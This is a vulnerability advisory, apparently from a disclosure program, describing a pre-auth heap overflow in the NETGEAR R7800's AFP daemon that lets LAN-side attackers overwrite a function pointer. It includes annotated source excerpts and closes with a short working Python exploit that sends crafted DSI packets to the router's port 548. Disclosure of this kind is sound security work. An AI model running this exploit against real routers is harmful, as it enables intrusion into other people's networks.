NETGEAR R7800 AFPD PreAuth
📡

NETGEAR R7800 AFPD PreAuth

📅 [ Archival Date ]
Nov 23, 2022 9:03 PM
🏷️ [ Tags ]
Netgear R7800Heap Overflow

TL;DR

A vulnerability in NETGEAR AFPD, Apple Filing Protocol daemon, process allows LAN side attackers to cause the product to overflow a buffer due to a pre-auth vulnerability.

Vulnerability Summary

A heap-buffer overflow in afpdʼs dsi_writeinit is leveraged to overwrite the proto_close function pointer in the DSI struct, and execute arbitrary code on the NETGEAR R7800 Smart Router, in the default configuration, on the LAN side, pre-auth.

Credit

An independent security researcher has reported this to the SSD Secure Disclosure program.

Affected Versions

NETGEAR R7800 (V1.0.2.90)

Technical Analysis

The core vulnerability lies within afpdʼs dsi_writeinit function:

size_t dsi_writeinit(DSI * dsi, void * buf,
const size_t buflen U) {
    size_t len, header;
    /* figure out how much data we have. do a couple checks for 0
    * data */
    header = ntohl(dsi -> header.dsi_code);
    dsi -> datasize = header ? ntohl(dsi -> header.dsi_len) - header : 0;
    if (dsi -> datasize > 0) {
        len = MIN(sizeof(dsi -> commands) - header, dsi -> datasize);
        /* write last part of command buffer into buf */
        memcpy(buf, dsi -> commands + header, len);
    
        /* recalculate remaining data */
        dsi -> datasize -= len;
    } else
        len = 0;
    return len;
}

In this function, buf is intended to be filled by the user-provided “dsi” buffer. “dsi” is completely attacker controlled. Here, the dsi->header.dsi_code can be set to an unexpectedly large value, and dsi_len can be set to an arbitrary value, so we are able to write from nearly arbitrary locations in “dsi” to nearly arbitrary length of “buf”. We use this bug to overwrite the proto_close member of the DSI struct, which is a function pointer called on close, and we can set up part of value of DSI structure here:

int dsi_stream_receive(DSI * dsi, void * buf,
const size_t ilength,
  size_t * rlength) {
    char block[DSI_BLOCKSIZ];
    LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: %u bytes", ilength);
    if (dsi -> flags & DSI_DISCONNECTED)
    return 0;
    /* read in the header */
    if (dsi_buffered_stream_read(dsi, (u_int8_t * ) block, sizeof(block)) !=
    sizeof(block))
    return 0;
    dsi -> header.dsi_flags = block[0];
    dsi -> header.dsi_command = block[1];
    /* FIXME, not the right place,
    but we get a server disconnect without reason in the log
    */
    if (!block[1]) {
    LOG(log_error, logtype_dsi, "dsi_stream_receive: invalid packet,
        fatal ");
        return 0;
    }
    memcpy( & dsi -> header.dsi_requestID, block + 2,
        sizeof(dsi -> header.dsi_requestID));
    memcpy( & dsi -> header.dsi_code, block + 4, sizeof(dsi -> header.dsi_code));
    memcpy( & dsi -> header.dsi_len, block + 8, sizeof(dsi -> header.dsi_len));
    memcpy( & dsi -> header.dsi_reserved, block + 12,
        sizeof(dsi -> header.dsi_reserved));
    dsi -> clientID = ntohs(dsi -> header.dsi_requestID);

    /* make sure we don't over-write our buffers. */
    * rlength = min(ntohl(dsi -> header.dsi_len), ilength);
    if (dsi_stream_read(dsi, buf, * rlength) != * rlength)
        return 0;
    return block[1];
}

Vendor Response

The vendor has issued a patch on the 6th of November 2022, but has not provided us with any reference to which of its advisories it is, or what firmware version has fixed the vulnerability.

Exploit

import socket
import struct
HOST, PORT = '192.168.1.1', 548
def connect():
    global sock
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))

def create_block(command, dsi_code, dsi_len):
    block = b'\x00' # dsi->header.dsi_flags
    block += struct.pack("<B", command) # dsi->header.dsi_command
    block += b'\x00\x00' # dsi->header.dsi_requestID
    block += struct.pack(">I", dsi_code) # dsi->header.dsi_code
    block += struct.pack(">I", dsi_len) # dsi->header.dsi_len
    block += b'\x00\x00\x00\x00' # dsi->header.dsi_reserved
    return block

def main():
    connect()
    pkt = create_block(0x4, 0x0, 0x1)
    pkt += b'\x00'
    pkt += create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20)
    pkt += b'A' * 8192
    sock.send(pkt)
   
if __name__=='__main__':
    main()